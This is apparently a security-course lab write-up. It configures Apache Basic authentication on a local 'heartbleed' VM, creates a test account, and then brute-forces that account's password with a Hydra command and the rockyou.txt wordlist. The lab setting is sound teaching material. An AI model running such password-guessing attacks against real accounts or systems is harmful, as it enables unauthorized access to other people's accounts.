Online Password Cracking

This task is solved using the heartbleed VM from Lab 5.

Preparation

Look up IP address of heartbleed VM:

ip address show

Add local DNS entry for heartbleed VM:

echo '{ip address} heartbleed.ssb' | sudo tee --append /etc/hosts

Change Apache configuration to require login:

 <VirtualHost *:443>
     ServerAdmin webmaster@localhost
 
     DocumentRoot /var/www/heartbleed.ssb
     ServerName heartbleed.ssb
     ServerAlias www.heartbleed.ssb
     SSLEngine on
     SSLCertificateFile /etc/apache2/ssl/apache.crt
     SSLCertificateKeyFile /etc/apache2/ssl/apache.key
     ErrorLog ${APACHE_LOG_DIR}/error.log
     CustomLog ${APACHE_LOG_DIR}/access.log combined
+
+    <Directory "/var/www/heartbleed.ssb">
+        AuthType Basic
+        AuthName "Restricted Content"
+        AuthUserFile /etc/apache2/.htpasswd
+        Require valid-user
+    </Directory>
 </VirtualHost>

Create user login test with a password of your choice (the later the password occurs in rockyou.txt, the longer it takes to crack):

sudo htpasswd -c /etc/apache2/.htpasswd test

Reload settings:

service apache2 reload

Start Cracking

Crack password using Hydra:

hydra -l test -P ./rockyou.txt heartbleed.ssb https-get
